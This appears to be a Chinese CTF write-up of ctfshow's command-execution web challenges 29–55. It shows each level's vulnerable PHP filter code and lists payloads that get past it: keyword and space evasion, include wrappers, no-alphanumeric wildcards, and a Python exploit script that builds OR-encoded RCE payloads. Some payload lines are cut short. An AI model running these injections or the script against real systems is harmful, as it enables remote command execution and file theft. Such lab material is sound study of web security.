https://npfs06.top/2020/10/11/CTFshow-web%E5%85%A5%E9%97%A8-%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C/ https://www.d1a0.cn/2020/11/20/ctfshow-web%E5%85%A5%E9%97%A8%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C/ file:///C:/Users/17125/Desktop/ctfshow%20web%E5%85%A5%E9%97%A8%20%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%20wp.pdf https://blog.csdn.net/qq_46091464/article/details/108513145 https://ctf.show/challenges#web55-418 https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html https://www.leavesongs.com/ https://blog.csdn.net/qq_46091464/article/details/108555433 https://blog.csdn.net/miuzzx https://segmentfault.com/a/1190000018991087 https://www.cnblogs.com/erR0Ratao/p/13640600.html https://blog.csdn.net/miuzzx
命令执行绕过小技巧
web29
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
?>
过滤了flag
eval
?c=system('cat f*');
?c=system(%27cat%20fl??.php%27);
?c=system(%27cat%20fl``ag.php%27);
我sb了,一直看不到flag,以为是网站的原因 结果是问探花,因为是 cat flag.php 所以查看源码才能看到
大佬做法
?c=echo "npfs";?>ctf <?php system('ls');
?c=echo "npfs"; ?>ctf <?php include($_GET['url']);&url=php:
?c=echo `nl fl''ag.php`
?c=system('cat *.php');
web30
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
这里过滤了 flag system php
常见的系统命令执行函数
system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()
反引号 同shell_exec()
exec和shell_exec的区别
exec只返回结果的最后一行,而shell_exec返回完整结果。
?c=echo shell_exec(' ls ' );加粗样式
?c=echo shell_exec(' cat f* ' );
大佬做法
?c=echo \`cat f*`;
?c=echo "npfs "; include($_GET['url']); ?>&url=php:
?c=echo shell_exec('cat fl``ag.p``hp');
?c=echo `nl fl''ag.p''hp`;
web31
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
空格绕过
> < <> 重定向符
%09(需要php环境)
${IFS}
$IFS$9
{cat,flag.php}
%20
%09
cat 绕过
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
?c=echo(%60ls%60); // ?c=echo(`ls`);
?c=echo(`nl%09f*`);
大佬做法
?c=echo(`tac%09f*`);
?c=include($_GET["url"]);?>&url=php:
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
?c=$a=show_source($_GET[1])?>&1=flag.php
?c=eval($_GET[1])?>&1=system('cat flag.php');
?c=?><?=`$_GET[1]`;&1=cat flag.php;
?c=?><?=passthru($_GET[1]);&1=cat flag.php;
?c=echo(`nl%09*`);
web32
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
过滤了括号
括号绕过
这次直接连echo都直接过滤了,包括括号也过滤了,php中不用括号的函数有echo、print、die、include、require、include_once、require_once,用include函数和post传伪协议构成payload
?c=include$_GET["a"]?>&a=php:
大佬做法
?c=include$_POST["npfs"]?>
npfs=php:
?c=include$_GET["npfs"]?>&npfs=php:
?c=$nice=include$_GET[%22url%22]?%3E&url=php:
?c=?><?=include$_GET[1]?>&1=php:
?c=include$_GET[a]?>&a=data:
web33
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
过滤了’ ’ 和 “” 数组作为参数即可绕过
?c=include$_GET[a]?>&a=php:
大佬做法
?c=include$_POST[1]?>
1=php:
?c=include$_GET[a]?>&a=data:
c=?><?=include$_GET[1]?>&1=php:
web34
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
过滤了 :。。。感觉没什么用
?c=include$_GET[a]?>&a=php:
web35
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
过滤了<
?c=include$_GET[a]?>&a=php:
web36
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
- 123
过滤了数字,使用字母代替即可
?c=include$_GET[a]?>&a=php:
web37
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
include($c);,文件包含 利用伪协议读flag
data://,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行
flag.php 可以用通配符绕过
大佬做法
?c=data:
?c=data:
?c=/var/log/nginx/access.log 可以查看日志
web38
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
base64 YYDS
?c=data:
?c=/var/log/nginx/access.log
web39
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
}else{
highlight_file(__FILE__);
}
在之前的基础上加了.php后缀 这样就相当于执行了php语句.php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什
?c=data:
web40
<?php
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
法一
过滤了引号、美元符号、冒号,这里可以构造无参数函数进行文件读取
无参数文件读取
无参数的意思可以是a()、a(b())或a(b(c())),但不能是a(‘b’)或a(‘b’,‘c’),不能带参数
?c=print_r(scandir(current(localeconv())));
localeconv():返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号(.) pos():返回数组中的当前元素的值。 array_reverse():数组逆序 scandir():获取目录下的文件 next(): 函数将内部指针指向数组中的下一个元素,并输出。 首先通过 pos(localeconv())得到点号,因为scandir(’.’)表示得到当前目录下的文件,所以 scandir(pos(localeconv()))就能得到flag.php了。具体内容如下
看了上面这篇文章应该可以知道scandir(current(localeconv())) 查看当前目录所有文件名 我们可以发现flag.php在数组的倒数第二个值里,我们可以通过 array_reverse 进行逆转数组,然后用next()函数进行下一个值的读取,记得成功读取flag.php文件
大佬做法
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
?c=highlight_file(next(array_reverse(scandir(current(localeconv())))));
法二
参考下GXYCTF的禁止套娃
?c=session_start();system(session_id());
受php版本影响 5.5 -7.1.9均可以执行,因为session_id规定为0-9,a-z,A-Z,-中的字符。在5.5以下及7.1以上均无法写入除此之外的内容。但是符合要求的字符还是可以的。
web41
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
过滤数字、字母、^、+、~、$、[、]、{、}、&、-【不区分大小写】
& 按位与 |按位或 ^按位异或 ~取反 为四大位运算符,其中按位异|没有过滤,过滤的字符是防异或、自增和取反构造字符
大佬做法
法一
羽大佬博客
我们可以尝试从ascii为0-255的字符中,找到或运算能得到我们可用的字符的字符。
rce_or.php 生成可用字符的集合
<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}
else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)|urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
exp.py
import requests
import urllib
from sys import *
import os
os.system("php rce_or.php")
if(len(argv)!=2):
print("="*50)
print('USER:python exp.py <url>')
print("eg: python exp.py http://ctf.show/")
print("="*50)
exit(0)
url=argv[1]
def action(arg):
s1=""
s2=""
for i in arg:
f=open("rce_or.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"|\""+s2+"\")"
return(output)
while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))
data={
'c':urllib.parse.unquote(param)
}
r=requests.post(url,data=data)
print("\n[*] result:\n"+r.text)
大体意思就是从进行异或的字符中排除掉被过滤的,然后在判断异或得到的字符是否为可见字符
python exp.py url
法二
<?php
$payload = 'phpinfo';
$length = strlen($payload);
$a = '';
$b = '';
$flag = 0;
echo '<br>';
for ($l = 0; $l < $length; $l++) {
$flag=0;
for ($i = 1; $i < 256; $i++) {
if(preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i',chr($i))) continue;
for ($j = 1; $j < 256; $j++) {
if(preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i',chr($j))) continue;
if ((chr($i) | chr($j)) === $payload[$l]) {
echo urlencode(chr($i));
$a=$a.urlencode(chr($i));
echo '|';
echo urlencode(chr($j));
$b=$b.urlencode(chr($j));
echo '=' . $payload[$l];
echo "<br>";
$flag=1;
break;
}
}
if($flag===1){
break;
}
}
}
echo $a.'|'.$b;
?c='');('%13%19%13%14%05%0D'|'%60%60%60%60%60%60')(('%03%01%14'|'%60%60%60').' '.('%06%0C%01%07%02%10%08%10'|'%60%60%60%60%2C%60%60%60'));
?c='');system("cat flag.php");
web42
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
关键代码 >/dev/null 2>&1 会将标准输出,错误输出都重定向至/dev/null,也就是全部丢弃 参考
我们要让命令回显,那么进行命令分隔即可
;
|
||
&
&&
%0a
大佬做法
?c=ls%0a
?c=cat%20flag.php%0a
?c=cat%20flag.php||
web43
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
过滤了 cat
?c=ls||
?c=nl flag.php%0a
?c=nl%20fl*||
?c=tac flag.php||
web44
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
?c=ls||
?c=nl flag.php%0a
?c=nl%20fl*||
?c=sort%20fl*||
?c=nl%20`ls`||
web45
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
多过滤了个空格 空格绕过
>` `<` `<>` 重定向符
`%09`(需要php环境)
`${IFS}`
`$IFS$9`
`{cat,flag.php}` //用逗号实现了空格功能
`%20`
`%09
?c=sort${IFS}fl*||
?c=echo$IFS`tac$IFS*`%0A
?c=nl$IFS`ls`||
?c=tac%09fla?????||
这里有一点很奇怪,*通配符不能与IFS或<不能一起使用
web46
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
过滤了数子,$,*等,通配符可以使用?问号,空格可用%09 (不属于数字)
大佬做法
?c=tac%09fla?????||
?c=sort%09fl?g.php||
?c=nl<fla''g.php||
?c=sort%09fla?????||
?c=tac%09fla??php||
web47
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
大佬做法
?c=nl<fla''g.php||
?c=nl<fla\g.php||
?c=nl<fla``g.php||
?c=tac%09fla?????||
?c=tac%09fl?g.php||
web48
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
大佬做法
?c=tac%09fla??php||
?c=nl<fla''g.php||
web49
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
大佬做法
?c=tac%09fla??php||
?c=nl<fl''ag.php||
这里貌似 %09需要与??匹配 < 与 ‘’ 匹配
web50
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
?c=nl%3Cfla%27%27g.php||
web51
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
?c=nl%3Cfla%27%27g.php||
大佬做法
?c=nl<>fla\g.php%0a
web52
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
?c=nl${IFS}fla\g.php%0a
得到假flag 看 根目录
?c=ls${IFS}/%0a
?c=nl${IFS}/f???%0a
大佬做法
?c=nl${IFS}/fla\g%0a
?c=nl$IFS/fl''ag||
?c=c''at${IFS}/f???%0a
因为是根目录 切勿忘记 ${IFS} $IFS 后的 /
web53
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
echo($c);
$d = system($c);
echo "<br>".$d;
}else{
echo 'no';
}
}else{
highlight_file(__FILE__);
}
由于
echo($c);
$d = system($c);
echo "<br>".$d;
直接
?c=nl${IFS}fla''g.php
大佬做法
?c=c''at${IFS}fla''g.p''hp
?c=nl${IFS}fla\g.php
?c=nl${IFS}fl%27%27ag.php
web54
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
这一题过滤了常用的命令,但是还有一个paste命令,paste 指令会把每个文件以列对列的方式,一列列地加以合并。
?c=paste${IFS}f???.???
还有一个grep命令,Linux grep 命令用于查找文件里符合条件的字符串。
在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行。 此时,可以使用如下命令:
grep test *file
payload:?c=grep${IFS}%27{%27${IFS}fl???php
意思就是在 fl???php匹配到的文件中,查找含有{的文件,并打印出包含 { 的这一行
大佬做法
?c=/bin/?at${IFS}f?????hp
web55
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
无字母数字的命令执行
法一
base64的使用
bin 为binary的简写主要放置一些 系统的必备执行档例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等 这里我们可以利用 base64 中的64 进行通配符匹配
即 /bin/base64 flag.php
?c=/???/????64%20????.???
bzip2的使用 bzip2是linux下面的压缩文件的命令 /usr/bin目录 主要放置一些应用软件工具的必备执行档例如c++、g++、gcc、chdrv、diff、dig、du、eject、elm、free、gnome、 zip、htpasswd、kfm、ktop、last、less、locale、m4、make、man、mcopy、ncftp、 newaliases、nslookup passwd、quota、smb、wget等。
我们可以利用/usr/bin下的bzip2
意思就是说我们先将flag.php文件进行压缩,然后再将其下载
?c=/???/???/????2 ????.???
|